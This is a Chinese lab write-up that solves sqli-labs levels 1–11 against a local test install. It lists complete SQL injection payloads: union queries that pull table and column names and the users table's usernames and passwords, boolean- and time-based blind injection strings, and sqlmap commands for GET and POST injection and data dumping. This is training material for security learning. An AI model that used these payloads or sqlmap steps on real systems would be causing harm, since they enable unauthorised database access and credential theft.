sqli-labs过程(1-11)

本文详细介绍了SQL注入的检测与利用,包括数字型和字符型注入的判断,联合查询获取数据库信息,布尔盲注和时间盲注在无回显情况下的应用,以及sqlmap工具的使用。通过不同关卡的示例,展示了SQL注入攻击的常见步骤和技术手段。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

less1

1、判断是否存在sql注入
输入?id=1,发现有回显

http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1

在这里插入图片描述通过id不同值说明直接查询数据库,说明存在sql注入。

2、判断是什么类型注入

数字型:输入
?id=1 and 1=2
?id=1 and 1=1
查看回显有无变化,若无变化,则不是数字型

字符型:输入

?id=1'--+
查询出内容
?id=1'
发现报错,则为字符型

3、查询数据库表列数(order by)

?id=1' order by 3 --+

如果报错就是超过列数,如果显示正常就是没有超出列数。
此处为3列
在这里插入图片描述在这里插入图片描述
4、通过联合查询(union)
就是查询该id和密码在页面哪一页

?id=-1'union select 1,2,3--+

在这里插入图片描述5、获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26。

?id=-1'union select 1,database(),version()--+

在这里插入图片描述6、 显示数据库的表
information_schema.tables表示该数据库下的tables表,点表示下一级。
where后面是条件,
group_concat()是将查询到结果连接起来。
如果不用group_concat查询到的只有user。
该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。也就是下面表格user和passwd。

?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+

在这里插入图片描述7、查询显示数据库具体用户名密码信息
爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。

该语句的意思是查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name的内。注意table_name字段不是只存在于tables表,也是存在columns表中。表示所有字段对应的表名。

?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’–+

在这里插入图片描述

less 2

本题通过检测可查出为数字型
其他操作同 less1
在这里插入图片描述

less 3

本题当输入?id=1时报错,发现提示中表示要用双引号并且要使用括号。
所以输入:

?id=1')--+

发现有返回值
接下来操作

?id=1’)–+
?id=1’) order by 3 --+
?id=-1’) union select 1,2,3 --+
?id=-1’) union select 1,database(),version() --+
?id=-1’) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
?id=-1’) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
?id=-1’) union select 1,2,group_concat(username,password,id) from users --+

在这里插入图片描述

less4

此题根据提示可判断出双引号+括号的sql语句
故此题代码为

?id=1")–+
?id=1") order by 3 --+
?id=-1") union select 1,2,3 --+
?id=-1") union select 1,database(),version() --+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
?id=-1") union select 1,2,group_concat(username,password,id) from users --+

在这里插入图片描述

less5

第五关根据页面结果得知是字符型但是和前面四关还是不一样是因为页面虽然有东西。但是只有对于请求对错出现不一样页面其余的就没有了。这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。如果数据 不显示只有对错页面显示我们可以选择布尔盲注。布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间。

根据提示,发现此处为双引号闭合,所以输入

?id=1’and length((select database()))>9–+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1’and ascii(substr((select database()),1,1))=115–+
#substr(“78909”,1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1’and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13–+
判断所有表名字符长度。
?id=1’and ascii(substr((select group_concat(table_name) from information_schema.tables wheretable_schema=database()),1,1))>99–+
逐一判断表名
?id=1’and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’))>20–+
判断所有字段名的长度
?id=1’and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),1,1))>99–+
逐一判断字段名。
?id=1’ and length((select group_concat(username,password) from users))>109–+
判断字段内容长度
?id=1’ and ascii(substr((select group_concat(username,password) from users),1,1))>50–+
逐一检测内容

此处操作来着这里

less 6

直接用sqlmap
操作:

第一步,先查看该位置有没有sql注入漏洞
在这里插入图片描述在这里插入图片描述说明有漏洞

第二步:查询数据库名称
在这里插入图片描述
在这里插入图片描述
第三步:查询数据库中表名

在这里插入图片描述在这里插入图片描述第四步:进入数据库表中查询字段名称

在这里插入图片描述在这里插入图片描述
第五步:查询数据库中敏感信息:账号密码,并且脱裤
在这里插入图片描述在这里插入图片描述

less 7

第七关当在输入id=1,页面显示you are in… 当我们输入id=1’时显示报错,但是没有报错信息,这和我们之前的关卡不一样,之前都有报错信息。当我们输入id=1"时显示正常所以我们可以断定参数id时单引号字符串。因为单引号破坏了他原有语法结构。然后我输入id=1’–+时报错,这时候我们可以输入id=1’)–+发现依然报错,之时我试试是不是双括号输入id=1’))–+,发现页面显示正常。那么它的过关手法和前面就一样了选择布尔盲注就可以了。

上面都是我抄的
直接sqlmap开撸

1、检测有无漏洞
在这里插入图片描述在这里插入图片描述

2、查询数据库名称
在这里插入图片描述在这里插入图片描述3、查询数据库表中字段名称
在这里插入图片描述
在这里插入图片描述
4、查询具体账号密码

在这里插入图片描述
在这里插入图片描述

less 8

第八关和第五关一样就不多说了。只不过第八关没有报错信息,但是有you are in…进行参照。id参数是一个单引号字符串。

less9

第九关会发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
 
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
 
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
 
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
 
 
 
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。

less 10

第十关和第九关一样只需要将单引号换成双引号。

less 11

从第十一关开始,可以发现页面就发生变化了,是账户登录页面。那么注入点就在输入框里面。前十关使用的是get请求,参数都体现在url上面,而从十一关开始是post请求,参数是在表单里面。我们可以直接在输入框进行注入就行。并且参数不在是一个还是两个。根据前面的认识我们可以猜测sql语句。大概的形式应该是这样username=参数 and password=参数 ,只是不知道是字符型还是整数型。
输入1’后看看反应
在这里插入图片描述所以此处为单引号
知道sql语句我们可以构造一个恒成立的sql语句,看的查询出什么。这里我们使用–+注释就不行,需要换成#来注释, 这个就和我们第一关是一样了。使用联合注入就可以获取数据库信息。
在这里插入图片描述
因为是post表单注入
这里使用sqlmap进行操作

post注入 sqlmap

方法一:

(1)首先用brupsuite进行抓包,将抓到的数据包以txt格式放在sqlmap.py目录下
(2)使用cmd在终端运行python sqlmap.py -r xxx.txt
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

方法二:

终端运行 sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-11/ --data="uname=admin&passwd=admin"
在这里插入图片描述
在这里插入图片描述

方法三

自动填写表单

sqlmap.py -u "http://192.168.20.66/sqli-labs/Less-11/" --forms
然后会让我们填写需要输入的表单值
格式
uname=xxx&passwd=xxx$submit=Submit

在这里插入图片描述在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值